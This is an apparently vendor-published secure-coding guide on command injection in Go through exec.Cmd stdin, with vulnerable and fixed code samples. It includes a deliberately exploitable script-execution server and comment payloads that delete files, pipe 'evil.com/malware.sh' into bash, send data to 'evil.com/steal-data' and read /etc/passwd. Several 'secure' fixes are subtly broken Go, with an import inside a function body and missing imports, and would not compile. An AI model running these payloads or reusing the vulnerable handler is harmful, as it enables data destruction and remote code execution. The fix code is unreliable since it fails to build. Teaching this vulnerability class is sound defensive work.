Command injection via untrusted data written to exec.Cmd stdin

Critical Risk command-injection
gocommand-injectionexecstdinrceprocess

What it is

A critical security vulnerability where unvalidated input is written to a spawned process stdin, which may be interpreted as executable commands. Command injection could let attackers execute arbitrary system commands with application privileges, leading to complete system compromise, data exfiltration, or remote code execution.

package main

import (
    "fmt"
    "os/exec"
    "net/http"
    "io"
)

// VULNERABLE: HTTP handler that executes user scripts
func executeScriptHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }
    
    // Get script from request body
    body, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Error reading body", http.StatusBadRequest)
        return
    }
    
    script := string(body)
    
    // VULNERABLE: Execute user script via bash
    if err := runBashScript(script); err != nil {
        http.Error(w, "Script execution failed", http.StatusInternalServerError)
        return
    }
    
    fmt.Fprintf(w, "Script executed successfully")
}

func runBashScript(script string) error {
    // VULNERABLE: Bash interpreter with user input
    cmd := exec.Command("bash")
    
    stdin, err := cmd.StdinPipe()
    if err != nil {
        return err
    }
    
    // Start the command
    if err := cmd.Start(); err != nil {
        return err
    }
    
    // DANGEROUS: Write user script to bash stdin
    _, err = stdin.Write([]byte(script))
    stdin.Close()
    
    if err != nil {
        return err
    }
    
    return cmd.Wait()
}

func main() {
    http.HandleFunc("/execute", executeScriptHandler)
    fmt.Println("Server starting on :8080")
    http.ListenAndServe(":8080", nil)
}

// Attack example:
// curl -X POST -d "rm -rf /tmp/* && curl evil.com/malware.sh | bash" http://localhost:8080/execute
package main

import (
    "fmt"
    "net/http"
    "io"
    "regexp"
    "strings"
    "errors"
    "encoding/json"
)

// Allowed operations mapping
var allowedOperations = map[string]func(string) (string, error){
    "count_lines":    countLines,
    "sort_lines":     sortLines,
    "uppercase":      toUppercase,
    "word_count":     wordCount,
}

type ScriptRequest struct {
    Operation string `json:"operation"`
    Data      string `json:"data"`
}

type ScriptResponse struct {
    Result string `json:"result"`
    Error  string `json:"error,omitempty"`
}

// SECURE: Structured API instead of arbitrary script execution
func executeOperationHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }
    
    // Parse JSON request
    var req ScriptRequest
    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
        sendErrorResponse(w, "Invalid JSON format", http.StatusBadRequest)
        return
    }
    
    // Validate operation
    operation, exists := allowedOperations[req.Operation]
    if !exists {
        sendErrorResponse(w, "Operation not allowed", http.StatusBadRequest)
        return
    }
    
    // Validate input data
    if !isValidInputData(req.Data) {
        sendErrorResponse(w, "Invalid input data", http.StatusBadRequest)
        return
    }
    
    // Execute safe operation
    result, err := operation(req.Data)
    if err != nil {
        sendErrorResponse(w, err.Error(), http.StatusInternalServerError)
        return
    }
    
    // Send successful response
    response := ScriptResponse{Result: result}
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(response)
}

func sendErrorResponse(w http.ResponseWriter, message string, statusCode int) {
    response := ScriptResponse{Error: message}
    w.Header().Set("Content-Type", "application/json")
    w.WriteHeader(statusCode)
    json.NewEncoder(w).Encode(response)
}

// SECURE: Native Go operations instead of shell commands
func countLines(data string) (string, error) {
    lines := strings.Split(data, "\n")
    count := 0
    for _, line := range lines {
        if strings.TrimSpace(line) != "" {
            count++
        }
    }
    return fmt.Sprintf("%d", count), nil
}

func sortLines(data string) (string, error) {
    lines := strings.Split(data, "\n")
    
    // Filter and validate lines
    validLines := make([]string, 0)
    for _, line := range lines {
        trimmed := strings.TrimSpace(line)
        if len(trimmed) > 0 && isValidLine(trimmed) {
            validLines = append(validLines, trimmed)
        }
    }
    
    // Sort using Go's built-in sort
    import "sort"
    sort.Strings(validLines)
    
    return strings.Join(validLines, "\n"), nil
}

func toUppercase(data string) (string, error) {
    return strings.ToUpper(data), nil
}

func wordCount(data string) (string, error) {
    words := strings.Fields(data)
    count := 0
    for _, word := range words {
        if isValidWord(word) {
            count++
        }
    }
    return fmt.Sprintf("%d", count), nil
}

// Input validation functions
func isValidInputData(data string) bool {
    // Size limit
    if len(data) > 100000 {
        return false
    }
    
    // Character allowlist
    pattern := `^[a-zA-Z0-9\s.,!?\n\r-]+$`
    matched, err := regexp.MatchString(pattern, data)
    if err != nil || !matched {
        return false
    }
    
    // No control characters or suspicious patterns
    return !strings.Contains(data, "\x00") &&
           !strings.Contains(data, "$(")
}

func isValidLine(line string) bool {
    return len(line) <= 1000 && !strings.Contains(line, "..")
}

func isValidWord(word string) bool {
    pattern := `^[a-zA-Z0-9]+$`
    matched, _ := regexp.MatchString(pattern, word)
    return matched && len(word) <= 50
}

func main() {
    http.HandleFunc("/execute", executeOperationHandler)
    fmt.Println("Secure server starting on :8080")
    fmt.Println("Allowed operations: count_lines, sort_lines, uppercase, word_count")
    http.ListenAndServe(":8080", nil)
}

// Secure usage example:
// curl -X POST -H "Content-Type: application/json" \
//      -d '{"operation":"count_lines","data":"line1\nline2\nline3"}' \
//      http://localhost:8080/execute

💡 Why This Fix Works

The vulnerable code spawns a bash shell and writes user input directly to its stdin, allowing arbitrary command execution. The secure version eliminates shell execution entirely, using a structured API with predefined operations and comprehensive input validation.

Why it happens

Writing user-controlled data directly to a spawned process's stdin without proper validation or allowlisting. Many command-line tools interpret stdin as commands or scripts, allowing attackers to inject malicious commands that will be executed by the child process.

Root causes

Unvalidated Input to Process Stdin

Writing user-controlled data directly to a spawned process's stdin without proper validation or allowlisting. Many command-line tools interpret stdin as commands or scripts, allowing attackers to inject malicious commands that will be executed by the child process.

Preview example – GO
package main

import (
    "os/exec"
    "strings"
)

// VULNERABLE: Writing user input to process stdin
func processUserScript(userScript string) error {
    cmd := exec.Command("bash")
    stdin, err := cmd.StdinPipe()
    if err != nil {
        return err
    }
    
    // DANGEROUS: User input written directly to bash stdin
    go func() {
        defer stdin.Close()
        stdin.Write([]byte(userScript))
    }()
    
    return cmd.Run()
}

// Attack: userScript = "rm -rf / && curl evil.com/steal-data"
// Results in arbitrary command execution

Command Interpreter Invocation with User Data

Spawning interpreter processes (bash, sh, python, etc.) and feeding them user-controlled data through stdin creates command injection vulnerabilities. The interpreter treats the stdin content as executable code, allowing attackers to run arbitrary commands.

Preview example – GO
package main

import (
    "os/exec"
    "fmt"
)

// VULNERABLE: Python interpreter with user script
func runPythonCode(code string) {
    cmd := exec.Command("python3", "-c", "-")
    stdin, _ := cmd.StdinPipe()
    
    go func() {
        defer stdin.Close()
        // DANGEROUS: User code executed by Python
        fmt.Fprint(stdin, code)
    }()
    
    cmd.Run()
}

// Attack: code = "import os; os.system('cat /etc/passwd')"
// Results in system command execution

Fixes

1

Avoid Interpreter Shells and Use Direct Command Execution

The safest approach is to avoid spawning interpreter shells entirely. Use exec.Command with specific executables and fixed arguments. Never write user data to stdin of interpreters like bash, sh, or python.

View implementation – GO
package main

import (
    "os/exec"
    "regexp"
    "errors"
)

// SECURE: Direct command execution without interpreters
func processFileSafe(filename string) error {
    // Validate filename with strict allowlist
    if !isValidFilename(filename) {
        return errors.New("invalid filename")
    }
    
    // Use direct command execution - no shell
    cmd := exec.Command("wc", "-l", filename)
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    
    fmt.Printf("Line count: %s", output)
    return nil
}

func isValidFilename(filename string) bool {
    // Strict allowlist pattern
    pattern := `^[a-zA-Z0-9._-]+$`
    matched, _ := regexp.MatchString(pattern, filename)
    return matched && len(filename) > 0 && len(filename) <= 255
}
2

Implement Strict Input Validation and Allowlisting

When stdin interaction is absolutely necessary, implement comprehensive input validation using allowlists. Validate data format, restrict character sets, and ensure the child program treats stdin as data, not commands.

View implementation – GO
package main

import (
    "os/exec"
    "regexp"
    "strings"
    "errors"
)

// SECURE: Validated data processing
func processDataSafe(data string) error {
    // Validate input data
    if !isValidData(data) {
        return errors.New("invalid data format")
    }
    
    // Use a program that treats stdin as data, not commands
    cmd := exec.Command("sort") // sort treats stdin as data
    stdin, err := cmd.StdinPipe()
    if err != nil {
        return err
    }
    
    go func() {
        defer stdin.Close()
        // Write validated data
        stdin.Write([]byte(data))
    }()
    
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    
    fmt.Printf("Sorted data: %s", output)
    return nil
}

func isValidData(data string) bool {
    // Only allow alphanumeric, spaces, and newlines
    pattern := `^[a-zA-Z0-9\s\n]+$`
    matched, _ := regexp.MatchString(pattern, data)
    
    return matched && 
           len(data) <= 10000 && // Reasonable size limit
           !strings.Contains(data, "../") && // No path traversal
           !strings.Contains(data, "$(")
}
3

Use Dedicated Libraries Instead of Shell Commands

Replace shell command execution with native Go libraries or well-vetted third-party packages. This eliminates the need for process spawning and stdin interaction entirely.

View implementation – GO
package main

import (
    "bufio"
    "sort"
    "strings"
    "io"
)

// SECURE: Using native Go instead of shell commands
func sortTextSafe(text string) (string, error) {
    // Validate input
    if !isValidText(text) {
        return "", errors.New("invalid text format")
    }
    
    // Use native Go functionality instead of external commands
    lines := strings.Split(text, "\n")
    
    // Filter out empty lines and validate each line
    validLines := make([]string, 0)
    for _, line := range lines {
        if len(line) > 0 && isValidLine(line) {
            validLines = append(validLines, line)
        }
    }
    
    // Sort using Go's built-in sort
    sort.Strings(validLines)
    
    return strings.Join(validLines, "\n"), nil
}

func countLinesSafe(text string) (int, error) {
    if !isValidText(text) {
        return 0, errors.New("invalid text format")
    }
    
    // Use bufio.Scanner instead of wc command
    scanner := bufio.NewScanner(strings.NewReader(text))
    count := 0
    
    for scanner.Scan() {
        if len(scanner.Text()) > 0 {
            count++
        }
    }
    
    return count, scanner.Err()
}

func isValidText(text string) bool {
    return len(text) <= 100000 && // Size limit
           !strings.Contains(text, "\x00") // No null bytes
}

func isValidLine(line string) bool {
    pattern := `^[a-zA-Z0-9\s.,!?-]+$`
    matched, _ := regexp.MatchString(pattern, line)
    return matched && len(line) <= 1000
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection via untrusted data written to exec.cmd stdin and many other security issues in your codebase.